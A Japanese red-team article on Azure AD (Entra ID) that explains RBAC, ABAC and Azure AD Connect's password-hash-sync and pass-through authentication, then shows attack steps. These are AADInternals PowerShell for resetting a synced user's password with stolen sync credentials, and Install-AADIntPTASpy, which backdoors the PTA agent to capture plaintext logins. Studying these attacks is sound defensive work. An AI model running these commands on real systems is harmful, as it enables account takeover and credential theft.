紅チームの視点から見たAzureAD攻防（上）

レッドチームの視点から見た AzureAD 攻防#

AzureAD/Azure/AD#

Azure AD は、マイクロソフトが提供するクラウドベースのアイデンティティおよびアクセス管理（IAM）ソリューションです。これにより、組織は従業員、パートナー、顧客のアプリケーションおよびリソースへのアクセスを安全に管理できます。

注：2023 年 6 月 21 日より、Azure AD は正式に Microsoft Entra ID に改名されましたが、以下では引き続き AzureAD と呼びます。

Microsoft Azure ID の主な機能は次のとおりです：

認証と承認： ユーザーのアイデンティティを確認し、リソースへのアクセス権を制御します。
シングルサインオン（SSO）： ユーザーは 1 組の資格情報を使用して複数のアプリケーションにアクセスします。
多要素認証（MFA）： SMS コードや指紋などの追加の認証要素を要求することでセキュリティを強化します。
デバイス管理： 組織のネットワークに接続されたデバイスを管理および保護します。
セルフサービスパスワードリセット： ユーザーは IT サポートに連絡することなく、自分でパスワードをリセットできます。
オンプレミス Active Directory との統合： クラウドアイデンティティ管理とオンプレミスアイデンティティ管理を組み合わせます。

AD または AAD？#

これは非常に興味深い質問であり、まず両者の機能的な概念を明確にする必要があります。

AD：「Active Directory」の略で、簡単に言えば、オンプレミスのディレクトリサービスです。Windows Active Directory は主に Kerberos 認証プロトコルと LDAP を使用し、アクセス制御リスト（ACL）に基づいてユーザーを認証します。

AAD：「Azure Active Directory」は、SAML、OAuth 2.0、OpenID Connect プロトコルを利用し、役割ベースのアクセス制御（RBAC）モデルと条件付きアクセス制御を実現します。

特性	Windows AD（Active Directory）	Azure AD（Microsoft Entra ID）
デプロイタイプ	オンプレミスのデプロイメント、組織のサーバーにインストールおよび維持が必要	クラウドデプロイメント、Microsoft がホストおよび維持
主な用途	オンプレミスの Windows 環境内のユーザー、コンピュータ、リソースを管理（例：ファイルサーバー、プリンター、アプリケーション）	クラウドアプリケーションおよびリソースへのアクセスを管理（例：Microsoft 365、Azure サービス、SaaS アプリケーション）
認証プロトコル	Kerberos、NTLM	SAML、WS-Federation、OAuth 2.0、OpenID Connect
ディレクトリ構造	ツリー構造に基づく組織単位（OU）	フラット構造に基づくグループ
グループポリシー	集中管理のためのグループポリシーオブジェクト（GPO）をサポート	グループポリシーを直接サポートしないが、Intune などのツールを使用して類似の機能を実現
アクセス制御	アクセス制御リスト（ACL）に基づく	役割ベースのアクセス制御（RBAC）および条件付きアクセスポリシー
シングルサインオン（SSO）	オンプレミスアプリケーションの SSO をサポートするが、追加の設定が必要	クラウドアプリケーションの SSO をサポートし、通常はすぐに使用可能
多要素認証（MFA）	MFA をサポートするが、追加の設定が必要	MFA をサポートし、設定が簡単
セルフサービス	セルフサービスパスワードリセットとアカウントのロック解除をサポートするが、追加の設定が必要	セルフサービスパスワードリセット、アカウントのロック解除、デバイスの登録をサポートし、通常はすぐに使用可能
ライセンスモデル	通常、Windows Server オペレーティングシステムの一部として提供され、Windows Server ライセンスを購入する必要がある	無料版と有料版を提供し、有料版はより多くの高度な機能を提供
適用シナリオ	主にオンプレミスの Windows アプリケーションとリソースを使用する組織、またはオンプレミス環境を厳格に制御する必要がある組織に適している	主にクラウドアプリケーションとリソースを使用する組織、または柔軟でスケーラブルなアイデンティティおよびアクセス管理ソリューションが必要な組織に適している
統合	Azure AD と統合してハイブリッドアイデンティティ管理を実現	Windows AD と統合してハイブリッドアイデンティティ管理を実現
その他の機能	DNS、DHCP、証明書サービスなどの他の機能を提供	デバイス管理、アプリケーションプロキシ、セルフサービスグループ管理、動的グループなどの他の機能を提供

したがって、AD と AAD は完全に同じものではなく、唯一の共通点は、どちらも信頼サービスを提供するモデルであるということです。

従来の AD モデルはオンプレミスのコンピュータを管理するのに適しており、AAD モデルはクラウドリソースを頻繁に使用するシナリオの管理に適しています。

ここで、Azure AD と Azure の関係についての概念が引き出されます。

Azure または Azure AD？#

Azure はマイクロソフトファミリーの大規模なクラウドサービスプラットフォームであり、AzureAD はその中の 1 つの製品に過ぎません。

上記の図から、Azure と Azure AD、リソースグループとの関係がわかります。

仮に、ユーザーがハイブリッドアイデンティティ環境を採用し、Office 365 モードを使用しているとします。この場合、Azure AD はクラウドでのアイデンティティ認証を担当し、Azure AD は Office 365 に対して認証および承認サービスを提供します。RBAC モデルを通じて、ユーザーの Azure リソースへのアクセス権を決定し、正しければ Azure AD の資格情報を使用して Office 365 にログインできます。

では、RBAC モデルとは何か、次に見ていきましょう。

RBAC#

RBAC は役割ベースのアクセス制御サービスであり、ユーザーが Azure リソースにアクセスするための管理を行います。これには、ユーザーがこれらのリソースに対して何を行うことができるか、どの領域にアクセスできるかが含まれます。

RBAC の核心概念：

役割（Role）： 一連の権限の集合。たとえば、「仮想マシン管理者」役割は、仮想マシンの作成、起動、停止の権限を持つかもしれません。
権限（Permission）： 特定のリソースに対して特定の操作を実行する能力。たとえば、仮想マシンの「起動」権限。
割り当て（Assignment）： 役割をユーザーまたはグループに割り当て、そのユーザーまたはグループがその役割のすべての権限を継承できるようにします。

この図は、Azure の役割ベースのアクセス制御（RBAC）の動作原理を示しており、詳細は以下の通りです：

1. セキュリティプリンシパル（Security Principal）：

セキュリティプリンシパルは、Azure 役割を割り当てることができるエンティティを含みます：
- ユーザー（User）：Azure AD 内の個々のユーザー。
- グループ（Group）：Azure AD 内のユーザーのグループ。
- サービスプリンシパル（Service Principal）：アプリケーションまたはサービスを代表するアイデンティティ。
- マネージドアイデンティティ（Managed Identity）：Azure リソースの自動管理アイデンティティ。
図中のセキュリティプリンシパルは「Marketing Group」という名前のグループです。

2. 役割定義（Role Definition）：

役割定義は、特定のリソースに対してその役割を持つエンティティが実行できる操作を記述する権限の集合です。
Azure RBAC は、次のような多くの組み込み役割を提供します：
- オーナー（Owner）：リソースに対する完全なアクセス権を持つ。
- 貢献者（Contributor）：リソースを作成および管理できるが、アクセス権を付与できない。
- 読者（Reader）：リソースを表示できるが、変更できない。
特定のニーズを満たすためにカスタム役割を作成することもできます。
図中では、「Contributor」役割が Marketing Group に割り当てられており、これはそのグループのメンバーがリソースを変更できるが、アクセス権を付与できないことを意味します。

3. 役割割り当て（Role Assignment）：

役割割り当ては、役割定義をセキュリティプリンシパルおよびスコープに関連付けるプロセスです。
役割割り当てを通じて、どのセキュリティプリンシパルがどのスコープ内でどの操作を実行できるかを制御できます。
図中では、「Contributor」役割が Marketing Group に割り当てられ、スコープは「pharma-sales」という名前のリソースグループです。

4. スコープ（Scope）：

スコープは RBAC が適用される範囲であり、次のようになります：
- 管理グループ（Management Group）：複数のサブスクリプションを含むコンテナ。
- サブスクリプション（Subscription）：Azure サービスの基本的な請求単位。
- リソースグループ（Resource Group）：関連する Azure リソースを含む論理コンテナ。
- 個別のリソース（Individual Resource）：たとえば、仮想マシン、ストレージアカウントなど。
図中では、スコープは「pharma-sales」という名前のリソースグループであり、これは Marketing Group のメンバーがこのリソースグループ内で「Contributor」役割の権限を行使できることを意味します。

同時に、1 つのユーザー / グループは複数の役割にバインドされることができます。

ABAC#

ABAC は別のアクセス制御モデルであり、RBAC と比較して、より細かい粒度と柔軟な権限管理方法を提供します。

ABAC の核心概念：

属性（Attribute）： 主体（ユーザー、グループ、アプリケーションなど）、リソース（ファイル、データ、サービスなど）、または環境（時間、場所、ネットワークなど）の特徴を記述します。たとえば、ユーザーの部門、職位、安全許可レベル、リソースの種類、感度、作成日、環境の IP アドレス、デバイスタイプなど。
ポリシー（Policy）： 特定の条件を満たす場合にアクセスを許可または拒否するルールの集合です。ポリシーは通常、属性を使用して条件を表現します。たとえば、「マーケティング部の従業員が勤務時間中にマーケティングデータにアクセスすることを許可する」。

私はこの動作を説明するために図を使います：

マーケティングデータへのアクセスを許可： これはポリシーの具体的な内容であり、マーケティングデータへのアクセスが許可される条件を示しています。
主体、リソース、環境： これは ABAC モデルの 3 つの核心要素であり、それぞれアクセス者、被アクセス対象、アクセス環境を表します。
部門、データタイプ、時間、曜日： これは具体的な属性であり、主体、リソース、環境の特徴を記述します。
マーケティング部、マーケティングデータ、9:00-17:00、月曜日 - 金曜日： これは属性の具体的な値であり、アクセス条件を限定します。

論理関係は次のとおりです：

マーケティングデータへのアクセスは、次の 3 つの条件が同時に満たされる場合にのみ許可されます：

主体の部門属性が「マーケティング部」である。
リソースのデータタイプ属性が「マーケティングデータ」である。
環境の時間属性が 9:00-17:00 の間であり、曜日属性が月曜日から金曜日である。

私はこの部分がリソースに基づく制約委任の定義とほぼ同じであると考えています。

Azure AD Connect のアーキテクチャと動作原理#

Azure AD Connect の機能概要#

Azure AD Connect は、マイクロソフトが提供するツールであり、オンプレミスの Active Directory（AD）と Azure Active Directory（Azure AD）間でハイブリッドアイデンティティ統合を確立します。

Azure AD Connect の機能：

パスワードハッシュ同期（Password Hash Synchronization, PHS）： オンプレミス AD ユーザーのパスワードハッシュを Azure AD に同期させ、ユーザーが同じパスワードを使用してオンプレミスおよびクラウドサービスにログインできるようにします。
パススルー認証（Pass-through Authentication, PTA）： ユーザーがオンプレミス AD の資格情報を使用して直接 Azure AD にログインできるようにし、クラウドにパスワードハッシュを保存する必要がありません。
フェデレーション認証（Federation）： 認証要求をオンプレミス AD FS（Active Directory Federation Services）またはサードパーティのアイデンティティプロバイダー（IdP）にリダイレクトし、より高度な認証および承認スキームを実現します。

3 つの同期方法#

PHS#

ハッシュ同期の原理とリスク#

パスワードハッシュ同期（PHS）は、AzureAD Connect の機能であり、最も簡単に実装できる認証オプションであり、デフォルトのオプションでもあります。PHS の動作は、オンプレミスでパスワードが変更されるたびに、Active Directory からのパスワードハッシュが Azure AD に同期されるというものです。

注意点として、Azure AD でユーザーのパスワードを変更した場合、新しいパスワードはオンプレミス AD に同期されません。PHS メカニズムは一方向であり、オンプレミス AD のパスワードハッシュを Azure AD に同期することのみをサポートし、Azure AD からオンプレミス AD に同期することはサポートしていません。Azure AD とオンプレミス AD 間でパスワードを双方向に同期させるには、パスワード書き戻し（Password Writeback）機能などの他のメカニズムを使用する必要があります。ただし、パスワード書き戻し機能は Azure AD Premium P1 または P2 ライセンスが必要であり、Azure AD Connect で設定する必要があります。

その原理は次のとおりです：

パスワードハッシュの取得： Azure AD Connect は、オンプレミス Active Directory（AD）からユーザーのパスワードハッシュを読み取ります。パスワードハッシュは、ユーザーのパスワードに対して一方向暗号化アルゴリズム（例：NTLM または Kerberos）を適用することによって生成される固定長の文字列です。
パスワードハッシュの処理： セキュリティを強化するために、Azure AD Connect は取得したパスワードハッシュに対していくつかの追加処理を行います：
- ソルト（Salting）： パスワードハッシュにランダムな文字列（ソルト）を追加し、レインボーテーブル攻撃を防ぎます。
- 不可逆暗号化： ソルトを加えたパスワードハッシュに対して再度一方向暗号化アルゴリズムを適用し、クラウドのハッシュから元のパスワードを復元できないようにします。
Azure AD への同期： Azure AD Connect は処理されたパスワードハッシュを安全に Azure AD に同期し、前回の同期以来に変更されたパスワードハッシュのみを同期します。
ユーザーログインの検証： ユーザーが Azure AD や Office 365 などのクラウドサービスにログインしようとすると、Azure AD はユーザーが入力したパスワードを同じハッシュ処理を行い、Azure AD に保存されているパスワードハッシュと比較します。2 つのハッシュ値が一致すれば、検証が通り、ユーザーはログインを許可されます。

同期操作は 30 分ごとに行われます。ハイブリッドモードに加入すると、何が起こるでしょうか？

MSQL フラグの付いたユーザーが追加され、彼が持つ権限を確認すると何が起こるでしょうか。

注意すべきは、このユーザーは AAD に同期されないということです。

Azure AD Connect はデフォルトで以下のタイプのアカウントを除外します：

組み込み管理者アカウント（例：Administrator）
その他の組み込みおよびシステムアカウント
無効化されたアカウント

この点はGet-ADSyncRuleを使用して同期ユーザーのルールを取得できます。

すべての AD ドメイン環境におけるAdministrator、Guest、およびkrbtgtアカウントは同期されません。

これらのルールは、システムアカウント、ゲストアカウント、高権限アカウントを Azure AD に同期することを避けるために設計されており、Azure AD のセキュリティと安定性を保護します。

前述のように、Azure AD Connect はオンプレミス Active Directory に同期アカウントを作成します。

このアカウントはユーザーパスワードハッシュをクラウドに送信する責任があるため、このユーザーはドメイン上で複製権限を持っています。

パスワードを同期する方法を見てみましょう：

このコードは、PasswordHashGeneratorという名前のクラスを定義しており、これはClearPasswordHashGeneratorのサブクラスです。PasswordHashGeneratorの主な役割は、Azure AD Connect でパスワードを同期するためのパスワードハッシュ値を生成することです。

再ハッシュプロセスは、_OrgIdHashGenerator_クラス内のメソッドによって処理され、OrgIdHashGeneratorクラスはソルトを加えたハッシュ値に SHA256 アルゴリズムを適用し、1000 回繰り返します。各ハッシュは前回の結果を入力として使用し、より複雑で解読が難しい最終的なハッシュ値を生成します。

私たちはこのプロセスを検証してみましょう。便宜上、AD ドメインユーザー「lihua009」を追加しました。

次に、同期プロセスを強制的に開始します。

dnspy もすでにブレークポイントに留まっています。

一致しているかどうかを比較してみましょう。

特権の悪用

以前に述べたように、PHS を構成すると自動的に 2 つのユーザーが作成されます。

MSQL_はオンプレミス AD に自動的に作成されます。このアカウントには__ディレクトリ同期アカウントの役割が付与されます（参照文書）。これは、*オンプレミス AD で複製（DCSync）権限を持つことを意味します。

Sync * は Azure AD にアカウントを作成します。このアカウントは Azure AD 内の任意のユーザー（同期またはクラウド専用）のパスワードをリセットできます。

これらの特権アカウントのパスワードは、Azure AD Connect がインストールされたサーバーのSQL サーバーに保存されます。

データベースはC:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdfにあります。

ADsync ユーザーは、オンプレミスでサービスアカウントとして起動されます。以下を参照してください：

Azure AD Connect サービスは、NT SERVICE\ADSync という名前の仮想サービスアカウントを使用してサービスプロセス（miiserver.exe）を実行します。

管理者権限を持ち、Azure AD Connect がインストールされたサーバー上であれば、関連するコマンドを実行できます。

AADInternals を使用して抽出できます。以下の図を参照してください：

これらの同期資格情報を取得した後、トークンを利用して AAD 同期ユーザーのパスワードを変更できます。以下のように：

# グローバル管理者リストを取得
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins

# すべてのユーザーを取得
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

# 指定ユーザーのImmutableIdを取得し、実際のユーザーに置き換えます
$userPrincipalName = "[email protected]"
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user

# ImmutableIdを使用してユーザーパスワードをリセットし、新しいパスワードに置き換えます
$newPassword = "AbcdPass12343!@#"
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose

# 現在、新しいパスワードを使用してAzure ADにアクセスでき、古いパスワードを使用してオンプレミスにアクセスできます（パスワード変更は同期されません）

私たちは AAD からのチケットを模倣してパスワードを変更しましたが、パスワード書き戻しを有効にしていないため、変更されたこのユーザーのパスワードはオンプレミス AD にログインできません。

PHS 攻撃面のまとめ

PHS の概要をまとめてみましょう。

同期プロセス：

パスワードハッシュの抽出：
ユーザーがオンプレミス AD でパスワードを作成または変更すると、AD はパスワードのハッシュ値（通常は NTLM ハッシュ）を保存します。
ハッシュ値の抽出と処理：
Azure AD Connect ツールは定期的にオンプレミス AD からこれらのパスワードハッシュ値を抽出します。セキュリティを強化するために、Azure AD Connect は NTLM ハッシュを直接転送するのではなく、追加の処理を行います：
- まず、Azure AD Connect は NTLM ハッシュ値にソルトとハッシュ処理を行い、新しいハッシュ値を生成します。
- この新しいハッシュ値は PBKDF2（Password-Based Key Derivation Function 2）暗号化アルゴリズムで処理され、計算の複雑さとセキュリティが向上します。
Azure AD への転送：
処理されたハッシュ値は暗号化されたチャネルを介して Azure AD に転送されます。

作業フロー：

定期的な同期：
Azure AD Connect ツールはデフォルトで 30 分ごとに同期を行います。手動で同期をトリガーすることもできます。
パスワードハッシュの保存：
Azure AD に転送されたパスワードハッシュ値は Azure AD に保存され、ユーザーの認証に使用されます。

検証プロセス：

ユーザーが Azure AD リソース（例：Office 365、Azure ポータルなど）にログインしようとすると、認証プロセスは次のようになります：

ユーザーがパスワードを入力：
ユーザーはログイン画面でユーザー名とパスワードを入力します。
パスワードの検証：
Azure AD はユーザーが入力したパスワードを同じハッシュ処理を行い、Azure AD に保存されているパスワードハッシュ値と比較します。
- ハッシュ値が一致すれば、ユーザーは認証されます。
- ハッシュ値が一致しなければ、ユーザーの認証は失敗します。

同期メカニズム：

オンプレミス AD のパスワード変更：
ユーザーがオンプレミス AD でパスワードを変更すると、新しいパスワードハッシュ値は次回の同期時に Azure AD に転送されます。
Azure AD のパスワード変更：
ユーザーが Azure AD でパスワードを変更した場合、新しいパスワードはオンプレミス AD に同期されません。これは、PHS がデフォルトで一方向の同期メカニズムであるためです。

QA：

本地域を攻撃できるか：
これは可能です。なぜなら、PHS はクラウドへの二次ハッシュプロセスであり、AAD 内でパスワードが漏洩しても逆算が難しいからです。ただし、AAD パスワードと AD パスワードが一致する可能性は排除できません。
sync の悪用：取得した sync 権限は本地域ユーザーにも権限を持つか、直接本地域ユーザー情報を導出できるか： Sync 権限は非常に高く、同期コントローラーと理解できます。これは主に同期プロセスを管理し、オンプレミス AD のデータをクラウドの Azure AD に同期するために使用されます。デフォルトでは、Sync アカウントはオンプレミス AD 内で読み取り専用権限しか持たないため、直接的にオンプレミス AD ユーザー情報をエクスポートまたは変更することはできず、クラウドユーザーにのみ影響を与えます。ただし、パスワード書き戻し機能が有効になっている場合、Sync アカウントはオンプレミス AD ユーザーに対して書き込み操作の権限を持つことになり、双方向の影響を実現できます。つまり、クラウドのパスワード変更をオンプレミス AD に書き戻すことができます。この場合、Sync 権限はオンプレミス AD ユーザーに影響を与えることができます。

PTA#

パススルー認証の原理とリスク#

文書から： Azure Active Directory（Azure AD）パススルー認証は、ユーザーが同じパスワードを使用してオンプレミスおよびクラウドベースのアプリケーションにログインできるようにします。この機能は、ユーザーにとってより良い体験を提供し、パスワードを 1 つ少なくすることで IT ヘルプデスクのコストを削減します。ユーザーが Azure AD にログインすると、この機能はオンプレミス Active Directory でユーザーのパスワードを直接検証します。

PTA では、アイデンティティは同期されますが、パスワードは PHS のように同期されません。

認証はオンプレミス AD で検証され、クラウドとの通信はオンプレミスサーバーで実行される認証エージェントによって行われます（オンプレミス DC 上で実行する必要はありません）。

Azure でユーザーのログイン方法をパススルー認証モードに切り替える必要があります。以下の図を参照してください：

公式の推奨は、大規模なドメインの場合、4 台以上の PTA エージェントサーバーを設定することです。また、これらのサーバーのセキュリティは最高に設定することをお勧めします（もちろん、PTA サーバーが多いほど、存在する攻撃面も大きくなります）。

この PTA サーバーの主要なプロセスは次のとおりです：C:\Program Files\Microsoft Azure AD Connect Authentication Agent

その中で、同期を担当するプロセスは AzureADConnectAuthenticationAgentService.exe です。

プロセスのメソッドにブレークポイントを設定し、強制的にプロセスを開始してみましょう。

PTA はどのように論理検証を行うのでしょうか。コードを見てみましょう。大まかな流れは次のとおりです：

using System;
using System.Diagnostics;
using Microsoft.ApplicationProxy.Common.Utilities.Extensions;

namespace Microsoft.ApplicationProxy.Connector.DirectoryHelpers
{
    // Active Directoryドメインと対話するコンテキストを表します。
    public class ActiveDirectoryDomainContext : IDomainContext
    {
        // ドメイン名属性。
        public string Domain { get; private set; }

        // コンストラクタ、ドメインコンテキストを初期化します。
        public ActiveDirectoryDomainContext(string domain, INativeMethodWrapper nativeMethodWrapper)
        {
            // Domain属性を初期化します。ドメイン名が空またはnullの場合はnullに設定します。
            this.Domain = (string.IsNullOrEmpty(domain) ? null : domain);
            // nativeMethodWrapperフィールドを初期化します。
            this.nativeMethodWrapper = nativeMethodWrapper;
        }

        // メソッド、ユーザーの資格情報がActive Directoryドメインと一致するかどうかを検証します。
        public bool ValidateCredentials(string userPrincipalName, string password, out object errorCode)
        {
            bool result;
            try
            {
                // userPrincipalNameとpasswordがnullまたは空でないかを検証します。
                userPrincipalName.ValidateNotNullOrEmpty("userPrincipalName");
                password.ValidateNotNullOrEmpty("password");

                // ドメイン名が有効かどうかを確認します。
                if (!this.ValidateDomainName())
                {
                    // ドメイン名が無効な場合、エラーコードを設定し、falseを返します。
                    errorCode = string.Format("InvalidDomainName:'{0}'", this.Domain);
                    result = false;
                }
                else
                {
                    // 提供された資格情報を使用してユーザーにログインを試みます。
                    bool flag = this.LogonUser(userPrincipalName, password);

                    if (flag)
                    {
                        // ログインが成功した場合、エラーコードを0に設定します。
                        errorCode = 0;
                    }
                    else
                    {
                        // ログインに失敗した場合、最後のWin32エラーコードを取得し、警告を記録します。
                        errorCode = this.nativeMethodWrapper.GetLastWin32Error();
                        Trace.TraceWarning("Logon user failed with error: '{0}'", new object[]
                        {
                            errorCode
                        });
                    }
                    result = flag;
                }
            }
            catch (Exception ex)
            {
                // 例外情報を記録します。
                Trace.TraceError("Unknown Exception was thrown for domain '{0}'. Ex: '{1}'", new object[]
                {
                    this.Domain,
                    ex
                });
                errorCode = ex.GetType().ToString();
                result = false;
            }
            return result;
        }

        // プライベートメソッド、指定されたユーザー資格情報を使用してログインします。
        private bool LogonUser(string userPrincipalName, string password)
        {
            SafeCloseHandle safeCloseHandle = null;
            bool result;
            try
            {
                // nativeMethodWrapperのLogonUserメソッドを呼び出してログインします。
                result = this.nativeMethodWrapper.LogonUser(userPrincipalName, this.Domain, password, 3U, 0U, out safeCloseHandle);
            }
            finally
            {
                // SafeCloseHandleリソースを解放します。
                if (safeCloseHandle != null)
                {
                    safeCloseHandle.Dispose();
                }
            }
            return result;
        }

        // プライベートメソッド、ドメイン名の有効性を検証します。
        private bool ValidateDomainName()
        {
            // ドメイン名が'.'であるかどうかを確認し、そうであればエラーを記録してfalseを返します。
            if (this.Domain != null && this.Domain.Equals("."))
            {
                Trace.TraceError("Failed to create domain context due to invalid domain. Domain: '{0}'", new object[]
                {
                    this.Domain
                });
                return false;
            }
            return true;
        }

        // 定数定義。
        private const uint LOGON32_PROVIDER_DEFAULT = 0U; // デフォルトのログインプロバイダー。
        private const uint LOGON32_LOGON_NETWORK = 3U; // ネットワークログインタイプ。
        private const string InvalidDomainNameErrorFormat = "InvalidDomainName:'{0}'"; // 無効なドメイン名エラー形式。
        private const int SuccessCode = 0; // 成功コード。
      
        // プライベートフィールド、ローカルメソッド呼び出しをカプセル化します。
        private readonly INativeMethodWrapper nativeMethodWrapper;
    }
}

コードの説明：

ActiveDirectoryDomainContext クラス:
- Domain 属性: ドメイン名を保存します。
- コンストラクタ: Domain属性とnativeMethodWrapperフィールドを初期化します。
ValidateCredentials メソッド:
- userPrincipalNameとpasswordが有効かどうかを検証します。
- ドメイン名が有効かどうかを確認します。
- LogonUserメソッドを使用してユーザーにログインを試みます。
- ログイン結果に基づいてerrorCodeを設定し、ログを記録します。
LogonUser メソッド:
- nativeMethodWrapperのLogonUserメソッドを呼び出してユーザーをログインさせます。
- 完了後にSafeCloseHandleリソースを解放します。
ValidateDomainName メソッド:
- ドメイン名が有効かどうかを検証し、ドメイン名が.である場合はエラーを記録してfalseを返します。
定数とフィールド:
- LOGON32_PROVIDER_DEFAULT、LOGON32_LOGON_NETWORK、InvalidDomainNameErrorFormat、およびSuccessCodeは、ログイン操作とエラー処理に使用される定数定義です。
- nativeMethodWrapperはローカルメソッドの呼び出しをカプセル化します。

これにより、ユーザーが PTA を構成した Azure AD にパスワードを入力すると、その資格情報は暗号化されずに PTA に送信され、PTA は Active Directory に対して検証を行います。では、Azure AD Connect を担当するサーバーに侵入した場合はどうなるでしょうか？

明らかに、PTA サーバー全体を制御でき、すべてのこのエンドポイントを介してログインした情報がキャプチャされます。

中間者 / バックドア

前述のように、このプロセスはオンプレミスのドメイン情報を PTA を介して接続します。特定の状況下での攻撃面は次のようになります：

実際の行動で PTA を実行している代理サーバーを取得し、ローカル管理者モードである場合、プロセス名は：AzureADConnectAuthenticationAgentService.exe です。

AAD に存在する PTA エージェント情報を検索します：

Import-Module AADInternals //モジュールをインポート
Get-AADIntProxyAgents //PTAが存在するマシンを取得

実際の作戦では、これらの PTA マシンを優先的に保護するプロセスとして探すことができます。

参考：https://aadinternals.com/aadinternals/#hack-functions-pass-through-authentication-pta

Install-AADIntPTASpy //悪意のあるバックドアを注入
Get-AADIntAccessTokenForPTA -SaveToCache

このコマンドを使用すると、隠しフォルダー（C:\PTASpy）が作成され、PTASpy.dll がそこにコピーされます。

次に、PTASpy.dll を実行中の AzureADConnectAuthenticationAgentService.exe に注入します。

インストール後、**PTASpy は使用されたすべての資格情報を収集し、** それを Base64 エンコードされたパスワードとともに C:\PTASpy\PTASpy.csv に保存します。

注目すべきは、この PTA がデフォルトのバックドア機能であり、パスワードの正確性を判断しないことです。

また、Get-AADIntPTASpyLogを使用して平文のパスワードを読み取ることもできます。

ADFS#

未完成